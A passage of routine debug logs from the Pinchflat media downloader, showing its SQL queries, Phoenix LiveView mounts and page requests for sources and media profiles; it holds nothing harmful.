OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:12:14.548 [debug] QUERY OK source="media_items" db=0.8ms idle=7.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:12:14.548 [debug] QUERY OK source="sources" db=0.3ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:12:14.551 [info] Sent 200 in 17ms 21:12:14.815 [info] CONNECTED TO Phoenix.LiveView.Socket in 59µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "Bws1IABCOg8iJA0EDDogNSk1DCQdfQ0LHBoBA1iFeKgJerigsD8po9kN", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:12:14.855 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "downloaded"} 21:12:14.856 [debug] QUERY OK source="media_items" db=0.3ms idle=312.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:12:14.857 [debug] QUERY OK source="media_items" db=0.5ms idle=309.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:12:14.858 [debug] QUERY OK source="sources" db=0.3ms idle=309.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:12:14.858 [debug] Replied in 2ms 21:12:14.864 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "pending"} 21:12:14.865 [debug] QUERY OK source="media_items" db=0.7ms idle=315.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:12:14.867 [debug] QUERY OK source="media_items" db=1.5ms idle=251.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:12:14.868 [debug] QUERY OK source="sources" db=0.3ms idle=11.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:12:14.868 [debug] Replied in 4ms 21:12:14.871 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 21:12:14.872 [debug] QUERY OK source="tasks" db=0.4ms idle=14.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:12:14.873 [debug] QUERY OK source="media_items" db=0.2ms idle=14.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [21, 22] 21:12:14.873 [debug] Replied in 1ms 21:12:14.874 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 21:12:14.874 [debug] Replied in 188µs 21:12:28.649 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:52.414 [info] GET /media_profiles 21:12:52.414 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 21:12:52.415 [debug] QUERY OK source="media_profiles" db=0.4ms idle=730.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 21:12:52.416 [debug] QUERY OK source="settings" db=0.1ms idle=358.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:52.416 [debug] QUERY OK source="settings" db=0.1ms idle=359.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:52.417 [debug] QUERY OK source="settings" db=0.2ms idle=359.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:52.419 [info] Sent 200 in 4ms 21:12:52.568 [info] CONNECTED TO Phoenix.LiveView.Socket in 74µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "GyoWGhg3HCgtWystOXwdGS8UDCETMCt1TcLxYDOaj4AcP4TKue8uatM0", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:12:52.585 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 21:12:52.585 [debug] Replied in 229µs 21:12:54.148 [info] GET /sources 21:12:54.149 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 21:12:54.150 [debug] QUERY OK source="settings" db=0.5ms idle=460.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:54.151 [debug] QUERY OK source="settings" db=0.2ms idle=92.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:54.151 [debug] QUERY OK source="settings" db=0.2ms idle=93.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:54.152 [debug] QUERY OK source="settings" db=0.1ms idle=94.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:54.153 [debug] QUERY OK source="settings" db=0.1ms idle=94.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:54.155 [debug] QUERY OK source="sources" db=1.1ms idle=3.4ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:12:54.158 [debug] QUERY OK source="sources" db=2.1ms queue=0.2ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:12:54.160 [info] Sent 200 in 12ms 21:12:54.442 [info] CONNECTED TO Phoenix.LiveView.Socket in 126µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "eB0SDnMlajslIQggMS4dCAMdcxomLhYq7THl2V9rbNbnXfTZYlGNTjpo", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:12:54.630 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 21:12:54.631 [debug] QUERY OK source="sources" db=1.0ms idle=478.9ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:12:54.634 [debug] QUERY OK source="sources" db=2.0ms idle=479.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:12:54.634 [debug] Replied in 4ms 21:12:54.637 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 21:12:54.637 [debug] Replied in 168µs 21:12:55.152 [info] GET /sources/1 21:12:55.153 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 21:12:55.153 [debug] QUERY OK source="sources" db=0.1ms idle=998.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:12:55.153 [debug] QUERY OK source="media_profiles" db=0.0ms idle=995.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:12:55.153 [debug] QUERY OK source="tasks" 